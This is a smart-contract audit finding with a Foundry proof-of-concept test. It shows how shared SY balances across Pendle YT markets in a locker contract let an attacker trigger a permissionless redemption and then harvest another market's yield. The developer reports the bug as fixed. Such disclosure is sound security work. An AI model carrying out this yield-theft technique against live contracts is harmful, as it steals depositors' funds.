H-1: Shared SY balances can be credited to the wrong YT market
Description:
addMarket() stores a per-YT SY address but does not enforce that each SY is unique across markets. During _harvest, the contract calls redeemDueInterestAndRewards for the requested YT and then redeems IERC20(m.sy).balanceOf(address(this)) in full, rather than only the SY amount produced by that call.
IPendleYT.redeemDueInterestAndRewards() is permissionless: any external caller can invoke it with user = address(pytLocker) and force that YT to send the locker's pending interest into the locker as SY. This bypasses PYTLocker._harvest entirely, so no PYTLocker accounting is updated, no PYTLocker event is emitted, and the locker simply observes a raw SY balance increase it cannot attribute to a market.
If two enabled markets share the same SY, which is a valid Pendle configuration when multiple maturities are created for the same underlying SY, a subsequent harvest() on the other market reads the contract-wide SY balance, redeems it in full, and credits the wrong YT's accYieldPerToken. The attack requires no privileged access and no interaction with PYTLocker before the final harvest.
Impact:
High. Depositors in one YT market can receive yield generated by another YT market, while the rightful market's depositors lose claimable rewards. If shared-SY markets are supported, an attacker positioned in one market may steal accrued yield from another market.
Recommendation:
Ensure each YT market has a unique Pendle address that holds its YT and receives its SY interest. This can be implemented by deploying a dedicated market contract per YT through a factory/proxy pattern.
Developer Response:
Fixed. Code has been changed to have a single market per contract here.
Proof Of Concept:
function test_poc() public {
address victim = makeAddr("pyt-victim");
address attacker_ = makeAddr("pyt-attacker");
PYTLocker pytLocker = new PYTLocker(address(this));
ERC20Mock payoutAsset = new ERC20Mock();
AudithorMockSY sharedSy = new AudithorMockSY(payoutAsset);
AudithorMockYT ytA = new AudithorMockYT(sharedSy);
AudithorMockYT ytB = new AudithorMockYT(sharedSy);
pytLocker.addMarket(address(ytA));
pytLocker.addMarket(address(ytB));
ytA.setBalance(victim, 100e18);
ytB.setBalance(attacker_, 100e18);
vm.startPrank(victim);
ytA.approve(address(pytLocker), 100e18);
pytLocker.deposit(address(ytA), 100e18);
vm.stopPrank();
vm.startPrank(attacker_);
ytB.approve(address(pytLocker), 100e18);
pytLocker.deposit(address(ytB), 100e18);
vm.stopPrank();
// Attacker step, executed outside PYTLocker. Anyone can call this directly on Pendle:
// it pushes YT_A's pending interest into the locker as SY, with no PYTLocker accounting.
ytA.setPendingInterest(address(pytLocker), 100e18);
ytA.redeemDueInterestAndRewards(address(pytLocker), true, false);
assertEq(sharedSy.balanceOf(address(pytLocker)), 100e18, "YT_A direct redemption should leave shared SY in locker");
assertEq(pytLocker.accYieldPerToken(address(ytA)), 0, "YT_A accounting was not updated by direct redemption");
pytLocker.harvest(address(ytB));
assertEq(pytLocker.accYieldPerToken(address(ytA)), 0, "YT_A still receives no accounting credit");
assertEq(pytLocker.accYieldPerToken(address(ytB)), 1e18, "YT_B is credited with YT_A interest through shared SY balance");
assertEq(pytLocker.claimable(address(ytB), attacker_), 100e18, "attacker in YT_B can claim YT_A yield");
vm.prank(attacker_);
pytLocker.claim(address(ytB));
assertEq(payoutAsset.balanceOf(attacker_), 100e18, "attacker receives the misattributed asset yield");
}